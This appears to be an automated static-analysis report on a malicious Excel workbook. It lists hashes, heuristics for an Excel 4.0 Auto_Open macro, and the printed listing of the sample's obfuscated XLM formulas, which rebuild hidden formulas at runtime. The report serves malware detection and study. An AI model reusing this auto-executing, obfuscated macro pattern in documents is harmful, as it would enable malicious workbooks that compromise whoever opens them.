Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5318605e47a2bb62…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:29 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: d9c1a4a9af8d93651ee6cafef13c167c SHA-1: e5ae537299684dbc4bd771b10cff5cb8f92bab48 SHA-256: 5318605e47a2bb624943b743c50ba0d32e760c29892f52e5047c8ca0a3779300
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6453 bytes
SHA-256: 93ff8a3e0aca5774c6ed7c43e35b44cf9bb4cddceb0d9c9e3b16714e269865f6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sOZfkyN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E137 
' 0018     24 LABEL : Cell Value, String Constant - CNGJzAFdk len=0 
' 0018     22 LABEL : Cell Value, String Constant - ctaxEYE len=0 
' 0018     23 LABEL : Cell Value, String Constant - dNywufdQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - FMBIIqxGEM len=0 
' 0018     25 LABEL : Cell Value, String Constant - GhtPEUhNwg len=0 
' 0018     24 LABEL : Cell Value, String Constant - gILzgXBsF len=0 
' 0018     25 LABEL : Cell Value, String Constant - iiyysJpoop len=0 
' 0018     26 LABEL : Cell Value, String Constant - LHVmASCDeJK len=0 
' 0018     21 LABEL : Cell Value, String Constant - MvRdno len=0 
' 0018     20 LABEL : Cell Value, String Constant - nRsRt len=0 
' 0018     22 LABEL : Cell Value, String Constant - OtQokjo len=0 
' 0018     23 LABEL : Cell Value, String Constant - qanMqXJw len=0 
' 0018     21 LABEL : Cell Value, String Constant - rDCXdD len=0 
' 0018     20 LABEL : Cell Value, String Constant - rpbxp len=0 
' 0018     24 LABEL : Cell Value, String Constant - rqirgaFQa len=0 
' 0018     21 LABEL : Cell Value, String Constant - SGzixb len=0 
' 0018     23 LABEL : Cell Value, String Constant - svNqtQKx len=0 
' 0018     22 LABEL : Cell Value, String Constant - tdRpIkf len=0 
' 0018     22 LABEL : Cell Value, String Constant - XOnfPFm len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZSqhBQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sOZfkyN,E42,"SET.NAME("SGzixb",VALUE("0"))",""
'  sOZfkyN,E45,"SET.NAME("LHVmASCDeJK",SGzixb)",""
'  sOZfkyN,E50,"SET.NAME("tdRpIkf",SGzixb)",""
'  sOZfkyN,E52,"SET.NAME("dNywufdQ",COUNTA(ZSqhBQ))",""
'  sOZfkyN,E56,"SET.NAME("svNqtQKx",COUNTA(MvRdno))",""
'  sOZfkyN,E58,[],""
'  sOZfkyN,E62,"SET.NAME("rqirgaFQa","")",""
'  sOZfkyN,E67,"LHVmASCDeJK",""
'  sOZfkyN,E72,"SET.NAME("nRsRt",HLOOKUP("*",ZSqhBQ,LHVmASCDeJK,FALSE))",""
'  sOZfkyN,E74,"FMBIIqxGEM",""
'  sOZfkyN,E78,"SET.NAME("OtQokjo",SGzixb)",""
'  sOZfkyN,E83,[],""
'  sOZfkyN,E86,"OtQokjo",""
'  sOZfkyN,E88,"XOnfPFm",""
'  sOZfkyN,E93,"rpbxp",""
'  sOZfkyN,E97,"GhtPEUhNwg",""
'  sOZfkyN,E100,"SET.NAME("gILzgXBsF",VALUE(HLOOKUP("*",MvRdno,GhtPEUhNwg,FALSE)))",""
'  sOZfkyN,E105,"iiyysJpoop",""
'  sOZfkyN,E107,"rqirgaFQa",""
'  sOZfkyN,E112,"tdRpIkf",""
'  sOZfkyN,E116,NEXT(),""
'  sOZfkyN,E121,"CNGJzAFdk",""
'  sOZfkyN,E124,"SET.NAME("f",INT(T(FORMULA(T(rqirgaFQa)&"",""&T(CNGJzAFdk)))))",""
'  sOZfkyN,E129,"ctaxEYE",""
'  sOZfkyN,E132,NEXT(),""
'  sOZfkyN,E134,RETURN(),""
'  sOZfkyN,E168,"SET.NAME("rDCXdD",E42)",""
'  sOZfkyN,E172,"ZSqhBQ",""
'  sOZfkyN,E174,"SET.NAME("MvRdno",R82C12)",""
'  sOZfkyN,E177,"SET.NAME("ctaxEYE",183)",""
'  sOZfkyN,E180,"SET.NAME("qanMqXJw",5)",""
'  sOZfkyN,E182,rDCXdD(),""
'  sOZfkyN,E183,HALT(),""